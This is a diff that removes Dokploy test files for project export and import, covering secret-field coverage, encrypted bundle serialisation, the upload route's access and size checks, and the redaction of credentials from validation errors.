"Service not found",
);
});
it("stringifies a non-Error thrown value", () => {
expect(safeErrorMessage("boom")).toBe("boom");
});
});
@@ -1,189 +0,0 @@
import {
applications,
backups,
certificates,
compose,
destinations,
dnsProvider,
environments,
libsql,
mariadb,
mongo,
mounts,
mysql,
network,
postgres,
projects,
redis,
registry,
security,
sshKeys,
vaultProvider,
} from "@dokploy/server/db/schema";
import type { ResourceKind } from "@dokploy/server/services/project-export-import";
import {
NEVER_EXPORT_FIELDS,
restoreSecretFields,
SECRET_FIELDS,
stripNeverExport,
} from "@dokploy/server/services/project-export-import";
import { getTableColumns } from "drizzle-orm";
import { describe, expect, it } from "vitest";
const TABLES_WITH_KIND: { table: object; kind: ResourceKind }[] = [
{ table: applications, kind: "application" },
{ table: compose, kind: "compose" },
{ table: environments, kind: "environment" },
{ table: libsql, kind: "libsql" },
{ table: mariadb, kind: "mariadb" },
{ table: mongo, kind: "mongo" },
{ table: mysql, kind: "mysql" },
{ table: postgres, kind: "postgres" },
{ table: projects, kind: "project" },
{ table: redis, kind: "redis" },
];
const ALL_RESOURCE_TABLES: { table: object; kind: ResourceKind }[] = [
...TABLES_WITH_KIND,
{ table: mounts, kind: "mount" },
{ table: security, kind: "security" },
{ table: destinations, kind: "destination" },
{ table: registry, kind: "registry" },
{ table: sshKeys, kind: "sshKey" },
{ table: certificates, kind: "certificate" },
{ table: vaultProvider, kind: "vaultProvider" },
{ table: dnsProvider, kind: "dnsProvider" },
{ table: backups, kind: "backup" },
{ table: network, kind: "network" },
];
const SENSITIVE_NAME = /password|secret|token|privatekey|accesskey|apikey/i;
describe("every sensitive-looking column is covered by SECRET_FIELDS or NEVER_EXPORT_FIELDS", () => {
for (const { table, kind } of ALL_RESOURCE_TABLES) {
it(`covers sensitive-named columns of "${kind}"`, () => {
const columns = getTableColumns(table as any);
const sensitiveFieldNames = Object.keys(columns).filter((name) =>
SENSITIVE_NAME.test(name),
);
const coveredBySecretFields = new Set(
(SECRET_FIELDS[kind] ?? []).map((entry) => entry.field),
);
const coveredByNeverExport = new Set(NEVER_EXPORT_FIELDS[kind] ?? []);
for (const fieldName of sensitiveFieldNames) {
const covered =
coveredBySecretFields.has(fieldName) ||
coveredByNeverExport.has(fieldName);
expect(covered, `${kind}.${fieldName} is not covered`).toBe(true);
}
});
}
});
describe("SECRET_FIELDS covers every encryptedText column", () => {
for (const { table, kind } of TABLES_WITH_KIND) {
it(`covers encrypted columns of "${kind}"`, () => {
const columns = getTableColumns(table as any);
const encryptedFieldNames = Object.entries(columns)
.filter(
([, col]) =>
(col as { columnType: string }).columnType === "PgCustomColumn",
)
.map(([name]) => name);
expect(encryptedFieldNames.length).toBeGreaterThan(0);
const covered = new Set(
(SECRET_FIELDS[kind] ?? []).map((entry) => entry.field),
);
for (const fieldName of encryptedFieldNames) {
expect(covered.has(fieldName)).toBe(true);
}
});
}
});
describe("stripNeverExport", () => {
it("removes NEVER_EXPORT_FIELDS for the given kind", () => {
const row = {
applicationId: "a1",
serverId: "s1",
buildServerId: "s2",
refreshToken: "tok",
githubId: "gh1",
createdAt: "2024-01-01",
name: "app",
};
const stripped = stripNeverExport("application", row);
expect(stripped).not.toHaveProperty("serverId");
expect(stripped).not.toHaveProperty("buildServerId");
expect(stripped).not.toHaveProperty("refreshToken");
expect(stripped).not.toHaveProperty("githubId");
expect(stripped).not.toHaveProperty("createdAt");
expect(stripped.applicationId).toBe("a1");
expect(stripped.name).toBe("app");
});
it("does not mutate the original row", () => {
const row = { serverId: "s1", name: "app" };
stripNeverExport("postgres", row);
expect(row).toHaveProperty("serverId");
});
it("is a no-op for a kind with no NEVER_EXPORT_FIELDS entry", () => {
const row = { name: "unmapped" };
// @ts-expect-error deliberately invalid kind, to check the fallback path
const stripped = stripNeverExport("notAKind", row);
expect(stripped).toEqual(row);
});
it("every ResourceKind used in NEVER_EXPORT_FIELDS strips createdAt", () => {
for (const kind of Object.keys(NEVER_EXPORT_FIELDS) as ResourceKind[]) {
const stripped = stripNeverExport(kind, { createdAt: "x", id: "1" });
expect(stripped).not.toHaveProperty("createdAt");
}
});
});
const SAFE_JSONB_COLUMNS = new Set(["compose.serviceNetworks", "network.ipam"]);
describe("every jsonb column is covered or explicitly allowlisted as safe", () => {
for (const { table, kind } of ALL_RESOURCE_TABLES) {
it(`checks jsonb columns of "${kind}"`, () => {
const columns = getTableColumns(table as any);
const jsonbFieldNames = Object.entries(columns)
.filter(
([, col]) => (col as { columnType: string }).columnType === "PgJsonb",
)
.map(([name]) => name);
const coveredBySecretFields = new Set(
(SECRET_FIELDS[kind] ?? []).map((entry) => entry.field),
);
const coveredByNeverExport = new Set(NEVER_EXPORT_FIELDS[kind] ?? []);
for (const fieldName of jsonbFieldNames) {
const covered =
coveredBySecretFields.has(fieldName) ||
coveredByNeverExport.has(fieldName) ||
SAFE_JSONB_COLUMNS.has(`${kind}.${fieldName}`);
expect(
covered,
`${kind}.${fieldName} is not covered or allowlisted`,
).toBe(true);
}
});
}
});
describe("restoreSecretFields / CRLF env files (T-11.5)", () => {
it("resolves a $secret: reference even when the env file uses CRLF line endings", () => {
const secretsPlain = new Map([["secret-uuid-1", "realpassword"]]);
const row = {
env: "DB_PASS=$secret:secret-uuid-1\r\nOTHER=plain\r\n",
};
const result = restoreSecretFields("application", row, secretsPlain);
expect(result.env).toBe("DB_PASS=realpassword\nOTHER=plain\n");
});
});
@@ -1,53 +0,0 @@
import type { Snapshot } from "@dokploy/server/services/project-export-import";
import { listReviewableSecrets } from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const snapshot = {
resources: {
project: {},
environments: [],
services: [
{
kind: "application",
applicationId: "app-1",
name: "web",
security: [
{ username: "admin", password: "$secret:sec-1" },
{ username: "plain", password: "not-a-ref" },
],
},
{ kind: "postgres", postgresId: "pg-1", databasePassword: "$secret:pg" },
],
shared: {
registry: [{ registryName: "ghcr", password: "$secret:reg-1" }],
destination: [
{
name: "backups",
accessKey: "$secret:ak-1",
secretAccessKey: "$secret:sk-1",
},
],
sshKey: [{ name: "deploy", privateKey: "$secret:ssh-1" }],
certificate: [{ name: "wildcard", privateKey: "$secret:cert-1" }],
},
},
} as unknown as Snapshot;
describe("listReviewableSecrets", () => {
it("lists external credentials by secret ref, skipping database passwords and non-refs", () => {
const entries = listReviewableSecrets(snapshot);
expect(
entries.map((e) => [e.kind, e.resource, e.field, e.secretId]),
).toEqual([
["basicAuth", "web · admin", "password", "sec-1"],
["registry", "ghcr", "password", "reg-1"],
["destination", "backups", "accessKey", "ak-1"],
["destination", "backups", "secretAccessKey", "sk-1"],
["sshKey", "deploy", "privateKey", "ssh-1"],
["certificate", "wildcard", "privateKey", "cert-1"],
]);
expect(entries.filter((e) => e.generatable).map((e) => e.kind)).toEqual([
"basicAuth",
]);
});
});
@@ -1,187 +0,0 @@
import { createReadStream, createWriteStream, existsSync } from "node:fs";
import {
mkdir,
mkdtemp,
readdir,
readFile,
rm,
writeFile,
} from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import { pipeline } from "node:stream/promises";
import type { SerializeInput } from "@dokploy/server/services/project-export-import";
import {
deriveKeys,
gcmDecryptStream,
serialize,
} from "@dokploy/server/services/project-export-import";
import { execAsync } from "@dokploy/server/utils/process/execAsync";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
const local = (path: string) => ({ serverId: null, path });
const PASSPHRASE = "correct-horse-battery-staple";
let workDir: string;
let outDir: string;
beforeEach(async () => {
workDir = await mkdtemp(join(tmpdir(), "transfer-serialize-work-"));
outDir = await mkdtemp(join(tmpdir(), "transfer-serialize-out-"));
});
afterEach(async () => {
await rm(workDir, { recursive: true, force: true });
await rm(outDir, { recursive: true, force: true });
});
const baseInput: SerializeInput = {
resources: {
project: { projectId: "project-1", name: "my-project" },
environments: [{ environmentId: "env-1", name: "production" }],
services: [
{
kind: "postgres",
postgresId: "pg-1",
name: "pg-1",
databasePassword: "$secret:11111111-1111-1111-1111-111111111111",
},
],
shared: {},
},
inventory: {
project: { name: "my-project", environments: 1 },
environments: [
{ id: "env-1", name: "production", services: { postgres: 1 } },
],
totals: { postgres: 1 },
estimatedDumpBytes: 0,
estimatedFilesBytes: 0,
images: [],
},
requirements: [],
warnings: [],
dumps: [
{
serviceId: "pg-1",
serviceType: "postgres",
mode: "embed",
ext: "sql.gz",
path: "dumps/pg-1.sql.gz",
bytes: 15,
},
],
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
organizationId: "org-1",
dokployVersion: "1.0.0-test",
exportedBy: { userId: "user-1", email: "a@b.com" },
};
const secretsPlain = new Map([
["11111111-1111-1111-1111-111111111111", "realdbpassword"],
]);
describe("serialize", () => {
it("keeps only the public files in clear and encrypts everything else", async () => {
await mkdir(join(workDir, "dumps"), { recursive: true });
await writeFile(join(workDir, "dumps", "pg-1.sql.gz"), "fake-dump-bytes");
const bundlePath = join(outDir, "bundle.dokploy.tar.gz");
await serialize(
baseInput,
secretsPlain,
PASSPHRASE,
local(workDir),
local(bundlePath),
);
expect(existsSync(bundlePath)).toBe(true);
expect(existsSync(workDir)).toBe(false);
const { stdout: members } = await execAsync(`tar -tzf "${bundlePath}"`);
expect(members.split("\n")[0]).toBe("manifest.json");
const extractDir = join(outDir, "extracted");
await mkdir(extractDir, { recursive: true });
await execAsync(`tar -xzf "${bundlePath}" -C "${extractDir}"`);
expect((await readdir(extractDir)).sort()).toEqual([
"inventory.json",
"manifest.json",
"payload.enc",
"requirements.json",
"warnings.json",
]);
const outerBytes = await readFile(join(extractDir, "payload.enc"));
expect(outerBytes.includes("realdbpassword")).toBe(false);
expect(outerBytes.includes("fake-dump-bytes")).toBe(false);
const manifest = JSON.parse(
await readFile(join(extractDir, "manifest.json"), "utf8"),
);
const { kEnc } = await deriveKeys(PASSPHRASE, manifest.crypto.salt);
const payloadDir = join(outDir, "payload");
await mkdir(payloadDir, { recursive: true });
await pipeline(
createReadStream(join(extractDir, "payload.enc")),
gcmDecryptStream(kEnc),
createWriteStream(join(outDir, "payload.tar.gz")),
);
await execAsync(
`tar -xzf "${join(outDir, "payload.tar.gz")}" -C "${payloadDir}"`,
);
const servicesJson = await readFile(
join(payloadDir, "resources", "services.json"),
"utf8",
);
expect(servicesJson).not.toContain("realdbpassword");
expect(servicesJson).toContain(
"$secret:11111111-1111-1111-1111-111111111111",
);
expect(
await readFile(join(payloadDir, "dumps", "pg-1.sql.gz"), "utf8"),
).toBe("fake-dump-bytes");
const secrets = JSON.parse(
await readFile(join(payloadDir, "secrets.json"), "utf8"),
);
expect(secrets["11111111-1111-1111-1111-111111111111"]).toBe(
"realdbpassword",
);
});
it("removes workDir even when writing fails", async () => {
const bundlePath = join(outDir, "bundle.dokploy.tar.gz");
const badInput: SerializeInput = {
...baseInput,
resources: {
...baseInput.resources,
project: { self: undefined as unknown },
},
};
(badInput.resources.project as Record<string, unknown>).self =
badInput.resources.project;
await expect(
serialize(
badInput,
secretsPlain,
PASSPHRASE,
local(workDir),
local(bundlePath),
),
).rejects.toThrow();
expect(existsSync(workDir)).toBe(false);
});
});
@@ -1,116 +0,0 @@
import { serviceType } from "@dokploy/server/db/schema";
import {
manifestSchema,
requirementSchema,
serviceTypeSchema,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const validManifest = {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: new Date().toISOString(),
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-1" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "a2V5Y2hlY2s=",
},
counts: { application: 1 },
};
describe("transfer types", () => {
it("accepts a valid manifest", () => {
expect(manifestSchema.safeParse(validManifest).success).toBe(true);
});
it("accepts a structurally-valid manifest with a future formatVersion (rejecting it is migrateManifest's job, not the schema's)", () => {
const result = manifestSchema.safeParse({
...validManifest,
formatVersion: 2,
});
expect(result.success).toBe(true);
});
it("rejects a formatVersion that isn't a positive integer", () => {
expect(
manifestSchema.safeParse({ ...validManifest, formatVersion: 0 }).success,
).toBe(false);
expect(
manifestSchema.safeParse({ ...validManifest, formatVersion: 1.5 })
.success,
).toBe(false);
});
it("rejects a Requirement with an unknown kind", () => {
const result = requirementSchema.safeParse({
kind: "unknownKind",
originalId: null,
configIncluded: false,
usedBy: [],
});
expect(result.success).toBe(false);
});
it("accepts every real Requirement kind with its shape", () => {
const base = { originalId: "id-1", configIncluded: true, usedBy: [] };
const cases = [
{
...base,
kind: "vault",
providerName: "prod",
providerType: "hashicorp",
secretKeys: ["DB_PASS"],
},
{
...base,
kind: "gitProvider",
providerType: "github",
repositories: [{ owner: "acme", repo: "app" }],
},
{
...base,
kind: "destination",
bucket: "b",
endpoint: "e",
region: "r",
},
{
...base,
kind: "registry",
registryUrl: "r",
imagePrefix: "p",
role: ["registry"],
},
{ ...base, kind: "sshKey", publicKey: "ssh-ed25519 AAAA" },
{ ...base, kind: "network", name: "net" },
{ ...base, kind: "certificate", fingerprint: "abc123", serverId: null },
{ ...base, kind: "server", originalId: null, serverId: null },
];
for (const testCase of cases) {
expect(
requirementSchema.safeParse(testCase).success,
`kind ${testCase.kind} should be valid`,
).toBe(true);
}
});
it("keeps serviceTypeSchema in sync with the serviceType DB enum", () => {
expect([...serviceTypeSchema.options].sort()).toEqual(
[...serviceType.enumValues].sort(),
);
});
});
@@ -1,411 +0,0 @@
import { existsSync } from "node:fs";
import { mkdtemp, readFile, rm } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import { PassThrough } from "node:stream";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
let sessionToReturn: {
session: { activeOrganizationId: string } | null;
user: { id: string } | null;
} = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-1" },
};
let transferPathToReturn = "";
vi.mock("@dokploy/server/lib/auth", () => ({
validateRequest: vi.fn(() => Promise.resolve(sessionToReturn)),
}));
const { maxUploadBytesBox, remoteBox } = vi.hoisted(() => ({
maxUploadBytesBox: { value: 10 * 1024 * 1024 * 1024 },
remoteBox: {
commands: [] as string[],
received: [] as Buffer[],
stdin: undefined as undefined | { destroyed: boolean },
exitCode: null as number | null,
},
}));
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/execAsync")
>();
return {
...actual,
execAsyncRemote: vi.fn(async () => ({ stdout: "", stderr: "" })),
};
});
vi.mock(
"@dokploy/server/utils/process/remoteStream",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/remoteStream")
>();
const { PassThrough: Pass } = await import("node:stream");
return {
...actual,
openProcessStream: async (serverId: string | null, command: string) => {
if (!serverId) return actual.openProcessStream(serverId, command);
remoteBox.commands.push(command);
const stdin = new Pass();
const stdout = new Pass();
const stderr = new Pass();
remoteBox.stdin = stdin;
stdin.on("data", (chunk: Buffer) => remoteBox.received.push(chunk));
const failWith = remoteBox.exitCode;
const exit =
failWith === null
? new Promise<number>((resolve) => {
stdin.on("finish", () => resolve(0));
stdin.on("close", () => resolve(0));
})
: Promise.resolve(failWith);
return {
stdin,
stdout,
stderr,
exit,
close: () => stdin.destroy(),
};
},
};
},
);
vi.mock(
"@dokploy/server/services/project-export-import",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import")
>();
return {
...actual,
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
findOrganizationServerId: vi.fn(
async (serverId: string | undefined, organizationId: string) => {
if (!serverId) return null;
if (serverId === "server-1" && organizationId === "org-1") {
return "server-1";
}
throw new Error("Server not found");
},
),
get TRANSFER_MAX_UPLOAD_BYTES() {
return maxUploadBytesBox.value;
},
};
},
);
vi.mock("@dokploy/server/constants", async (importOriginal) => {
const actual =
await importOriginal<typeof import("@dokploy/server/constants")>();
return {
...actual,
paths: (isServer?: boolean) => ({
...actual.paths(isServer),
PROJECT_EXPORT_IMPORT_PATH: transferPathToReturn,
}),
};
});
const { getImportJob } = await import(
"@dokploy/server/services/project-export-import"
);
const handler = (await import("../../pages/api/project-export-import/upload"))
.default;
let root: string;
beforeEach(async () => {
root = await mkdtemp(join(tmpdir(), "transfer-upload-route-"));
transferPathToReturn = root;
maxUploadBytesBox.value = 10 * 1024 * 1024 * 1024;
remoteBox.exitCode = null;
sessionToReturn = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-1" },
};
});
afterEach(async () => {
await rm(root, { recursive: true, force: true });
});
const buildRes = () => {
const stream = new PassThrough() as unknown as {
statusCode: number;
status: (code: number) => typeof stream;
json: (body: unknown) => typeof stream;
jsonBody?: unknown;
} & PassThrough;
stream.statusCode = 200;
stream.status = vi.fn((code: number) => {
stream.statusCode = code;
return stream;
}) as typeof stream.status;
stream.json = vi.fn((body: unknown) => {
stream.jsonBody = body;
return stream;
}) as typeof stream.json;
return stream;
};
const buildMultipartReq = (
fileContent: Buffer,
fileName = "bundle.dokploy.tar.gz",
) => {
const boundary = "----dokployTestBoundary";
const head = Buffer.from(
`--${boundary}\r\nContent-Disposition: form-data; name="bundle"; filename="${fileName}"\r\nContent-Type: application/gzip\r\n\r\n`,
);
const tail = Buffer.from(`\r\n--${boundary}--\r\n`);
const body = Buffer.concat([head, fileContent, tail]);
const stream = new PassThrough() as unknown as PassThrough & {
method: string;
headers: Record<string, string>;
};
stream.method = "POST";
stream.headers = {
"content-type": `multipart/form-data; boundary=${boundary}`,
"content-length": String(body.length),
};
stream.end(body);
return stream;
};
const buildTwoFileMultipartReq = (first: Buffer, second: Buffer) => {
const boundary = "----dokployTestBoundary";
const part = (name: string, content: Buffer) =>
Buffer.concat([
Buffer.from(
`--${boundary}\r\nContent-Disposition: form-data; name="${name}"; filename="${name}.tar.gz"\r\nContent-Type: application/gzip\r\n\r\n`,
),
content,
Buffer.from("\r\n"),
]);
const body = Buffer.concat([
part("bundle", first),
part("bundle2", second),
Buffer.from(`--${boundary}--\r\n`),
]);
const stream = new PassThrough() as unknown as PassThrough & {
method: string;
headers: Record<string, string>;
};
stream.method = "POST";
stream.headers = {
"content-type": `multipart/form-data; boundary=${boundary}`,
"content-length": String(body.length),
};
stream.end(body);
return stream;
};
describe("transfer upload route", () => {
it("rejects unauthenticated requests", async () => {
sessionToReturn = { session: null, user: null };
const req = buildMultipartReq(Buffer.from("irrelevant"));
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(401);
});
it("rejects non-POST methods", async () => {
const req = { method: "GET" };
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(405);
});
it("streams the uploaded bundle to disk and creates an import job", async () => {
const content = Buffer.from("fake bundle bytes for the upload route test");
const req = buildMultipartReq(content);
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(200);
const importId = (res.jsonBody as { importId: string }).importId;
expect(importId).toBeDefined();
const job = getImportJob(importId);
expect(job?.status).toBe("uploaded");
expect(job?.bundle?.path).toBeDefined();
const written = await readFile(job?.bundle?.path as string);
expect(written.equals(content)).toBe(true);
});
it("does not buffer the whole file into memory while receiving a large upload", async () => {
sessionToReturn = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-2" },
};
const chunkSize = 1024 * 1024;
const chunkCount = 50;
const chunk = Buffer.alloc(chunkSize, 7);
const content = Buffer.concat(Array(chunkCount).fill(chunk));
const req = buildMultipartReq(content);
const res = buildRes();
if (global.gc) {
global.gc();
}
const before = process.memoryUsage().heapUsed;
await handler(req as any, res as any);
if (global.gc) {
global.gc();
}
const after = process.memoryUsage().heapUsed;
const grew = after - before;
expect(res.statusCode).toBe(200);
expect(grew).toBeLessThan(content.length / 2);
});
it("rejects an upload with more than one file field instead of silently overwriting the first", async () => {
sessionToReturn = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-two-files" },
};
const first = Buffer.from("first file's real content");
const second = Buffer.from("second file's content");
const req = buildTwoFileMultipartReq(first, second);
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(400);
expect((res.jsonBody as { message: string }).message).toContain(
"more than one file",
);
});
it("destroys the request instead of continuing to drain it once the size limit is hit", async () => {
sessionToReturn = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-over-limit" },
};
maxUploadBytesBox.value = 10;
const req = buildMultipartReq(Buffer.alloc(1000, 9));
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(413);
expect((req as unknown as PassThrough).destroyed).toBe(true);
});
});
describe("upload to a remote server", () => {
let counter = 0;
beforeEach(() => {
counter += 1;
sessionToReturn = {
session: { activeOrganizationId: "org-1" },
user: { id: `remote-user-${counter}` },
};
remoteBox.commands = [];
remoteBox.received = [];
remoteBox.stdin = undefined;
});
it("streams the file into a cat process on the chosen server", async () => {
const content = Buffer.from("remote bundle bytes");
const req = buildMultipartReq(content) as unknown as {
query?: Record<string, string>;
};
req.query = { serverId: "server-1" };
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(200);
const { importId, serverId } = res.jsonBody as {
importId: string;
serverId: string;
};
expect(serverId).toBe("server-1");
expect(Buffer.concat(remoteBox.received).equals(content)).toBe(true);
expect(remoteBox.commands.some((c) => c.includes("cat > '"))).toBe(true);
expect(getImportJob(importId)?.bundle?.serverId).toBe("server-1");
expect(existsSync(join(transferPathToReturn, importId))).toBe(false);
});
it("rejects a server outside the organization", async () => {
const req = buildMultipartReq(Buffer.from("x")) as unknown as {
query?: Record<string, string>;
};
req.query = { serverId: "someone-elses-server" };
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(400);
expect(remoteBox.commands).toHaveLength(0);
});
it("closes the remote writer when the upload has no file field", async () => {
const boundary = "----dokployTestBoundary";
const body = Buffer.from(
`--${boundary}\r\nContent-Disposition: form-data; name="note"\r\n\r\nhello\r\n--${boundary}--\r\n`,
);
const stream = new PassThrough() as unknown as PassThrough & {
method: string;
headers: Record<string, string>;
query: Record<string, string>;
};
stream.method = "POST";
stream.headers = {
"content-type": `multipart/form-data; boundary=${boundary}`,
"content-length": String(body.length),
};
stream.query = { serverId: "server-1" };
stream.end(body);
const res = buildRes();
await handler(stream as any, res as any);
expect(res.statusCode).toBe(400);
expect((res.jsonBody as { message: string }).message).toBe(
"No file field found in the upload",
);
expect(remoteBox.stdin?.destroyed).toBe(true);
});
it("fails fast when the remote writer exits before the file arrives", async () => {
remoteBox.exitCode = 1;
const stalled = new PassThrough() as unknown as PassThrough & {
method: string;
headers: Record<string, string>;
query: Record<string, string>;
};
stalled.method = "POST";
stalled.headers = {
"content-type": "multipart/form-data; boundary=----dokployTestBoundary",
};
stalled.query = { serverId: "server-1" };
const res = buildRes();
await handler(stalled as any, res as any);
expect(res.statusCode).toBe(400);
expect((res.jsonBody as { message: string }).message).toMatch(
/Writing the bundle on the server failed/,
);
}, 5_000);
});
@@ -1,511 +0,0 @@
import type {
Plan,
Requirement,
Snapshot,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import { ExecError } from "@dokploy/server/utils/process/execAsync";
import { describe, expect, it, vi } from "vitest";
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/execAsync")
>();
return {
...actual,
execAsyncRemote: vi.fn(async () => ({ stdout: "", stderr: "" })),
};
});
vi.mock("@dokploy/server/services/registry", () => ({
testRegistryConnection: vi.fn(async () => {
throw new ExecError(
"Command execution failed: Command failed: printf %s 'realregistrypass123' | docker login registry.example.com -u user --password-stdin",
{
command:
"printf %s 'realregistrypass123' | docker login registry.example.com -u user --password-stdin",
stderr: "Error response from daemon: login attempt failed",
exitCode: 1,
},
);
}),
}));
vi.mock("@dokploy/server/services/destination", () => ({
testDestinationConnection: vi.fn(async () => {
throw new ExecError(
"Command execution failed: Command failed: rclone ls --s3-secret-access-key=realsecretkey456 :s3:mybucket",
{
command:
"rclone ls --s3-secret-access-key=realsecretkey456 :s3:mybucket",
stderr: "NoSuchBucket: The specified bucket does not exist",
exitCode: 1,
},
);
}),
}));
vi.mock("@dokploy/server/services/vault-provider", () => ({
testVaultProviderConnection: vi.fn(async () => {}),
}));
const { validatePlan } = await import(
"@dokploy/server/services/project-export-import"
);
const basePlan = {
target: { kind: "newProject" as const, name: "imported" },
resolutions: {
"registry:registry-src": {
requirementKey: "registry:registry-src",
action: "reuse" as const,
targetId: "registry-dest-1",
},
"destination:destination-src": {
requirementKey: "destination:destination-src",
action: "reuse" as const,
targetId: "destination-dest-1",
},
},
serverMap: {},
appNameMap: {},
domainStrategy: { custom: "keep" as const },
portsStrategy: "keep" as const,
rotateDatabaseCredentials: false,
conflicts: [],
pendingServices: [],
warnings: [],
validation: [],
summary: { counts: {}, domains: 0, dumps: 0 },
} satisfies Plan;
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
},
resources: {
project: {},
environments: [],
services: [],
shared: {},
},
requirements: [],
warnings: [],
dumps: [],
};
const fakeDb = {
query: {
registry: {
findFirst: async () => ({
registryId: "registry-dest-1",
registryUrl: "registry.example.com",
username: "user",
password: "realregistrypass123",
organizationId: "org-dest",
}),
},
destinations: {
findFirst: async () => ({
destinationId: "destination-dest-1",
accessKey: "key",
secretAccessKey: "realsecretkey456",
bucket: "mybucket",
region: "us-east-1",
endpoint: "https://s3.example.com",
organizationId: "org-dest",
}),
},
vaultProvider: { findFirst: async () => undefined },
},
} as any as TransferDb;
describe("validatePlan (T-5.4)", () => {
it("never leaks the registry password or destination secretAccessKey into a failed check's detail", async () => {
const checks = await validatePlan(fakeDb, snapshot, basePlan, "org-dest");
const registryCheck = checks.find((c) => c.check.startsWith("registry:"));
expect(registryCheck?.ok).toBe(false);
expect(registryCheck?.detail).not.toContain("realregistrypass123");
expect(registryCheck?.detail).toContain("login attempt failed");
const destinationCheck = checks.find((c) =>
c.check.startsWith("destination:"),
);
expect(destinationCheck?.ok).toBe(false);
expect(destinationCheck?.detail).not.toContain("realsecretkey456");
expect(destinationCheck?.detail).toContain("bucket does not exist");
});
});
describe("validatePlan checks each appName against its own destination server (T-5.13)", () => {
it("probes two services' appNames against their own distinct destination servers, not the same one for both", async () => {
const snapshotWithTwoApps: Snapshot = {
...snapshot,
resources: {
...snapshot.resources,
services: [
{
kind: "application",
applicationId: "app-1",
appName: "app-one-old",
serverId: "server-src-1",
},
{
kind: "application",
applicationId: "app-2",
appName: "app-two-old",
serverId: "server-src-2",
},
],
},
requirements: [
{
kind: "server",
originalId: "server-src-1",
configIncluded: false,
usedBy: [
{
serviceId: "app-1",
serviceType: "application",
serviceName: "app-one",
environmentId: "env-1",
field: "serverId",
},
],
},
{
kind: "server",
originalId: "server-src-2",
configIncluded: false,
usedBy: [
{
serviceId: "app-2",
serviceType: "application",
serviceName: "app-two",
environmentId: "env-1",
field: "serverId",
},
],
},
],
};
const planWithTwoApps: Plan = {
...basePlan,
resolutions: {},
serverMap: {
"server-src-1": "server-dest-1",
"server-src-2": "server-dest-2",
},
appNameMap: {
"app-one-old": "app-one-new",
"app-two-old": "app-two-new",
},
};
const probed: { appName: string; serverId: string | null }[] = [];
await validatePlan(
fakeDb,
snapshotWithTwoApps,
planWithTwoApps,
"org-dest",
{
checkAppNameAvailable: async (appName, serverId) => {
probed.push({ appName, serverId });
return true;
},
},
);
expect(probed).toContainEqual({
appName: "app-one-new",
serverId: "server-dest-1",
});
expect(probed).toContainEqual({
appName: "app-two-new",
serverId: "server-dest-2",
});
});
});
describe("validatePlan blocks an unresolved server requirement (T-6.9)", () => {
const serverRequirement: Requirement = {
kind: "server",
originalId: "server-src-1",
configIncluded: false,
usedBy: [
{
serviceId: "app-1",
serviceType: "application",
serviceName: "my-app",
environmentId: "env-1",
},
],
};
it("fails the check when the server requirement's resolution is 'skip'", async () => {
const snapshotWithServer: Snapshot = {
...snapshot,
requirements: [serverRequirement],
};
const planWithSkippedServer: Plan = {
...basePlan,
resolutions: {
"server:server-src-1": {
requirementKey: "server:server-src-1",
action: "skip",
},
},
};
const checks = await validatePlan(
fakeDb,
snapshotWithServer,
planWithSkippedServer,
"org-dest",
);
const serverCheck = checks.find(
(c) => c.check === "serverResolution:server-src-1",
);
expect(serverCheck?.ok).toBe(false);
});
it("fails the check when the server requirement has no resolution at all", async () => {
const snapshotWithServer: Snapshot = {
...snapshot,
requirements: [serverRequirement],
};
const planWithNoResolution: Plan = {
...basePlan,
resolutions: {},
};
const checks = await validatePlan(
fakeDb,
snapshotWithServer,
planWithNoResolution,
"org-dest",
);
const serverCheck = checks.find(
(c) => c.check === "serverResolution:server-src-1",
);
expect(serverCheck?.ok).toBe(false);
});
it("passes the check when the server requirement is resolved (reuse, incl. explicit local)", async () => {
const snapshotWithServer: Snapshot = {
...snapshot,
requirements: [serverRequirement],
};
const planResolved: Plan = {
...basePlan,
resolutions: {
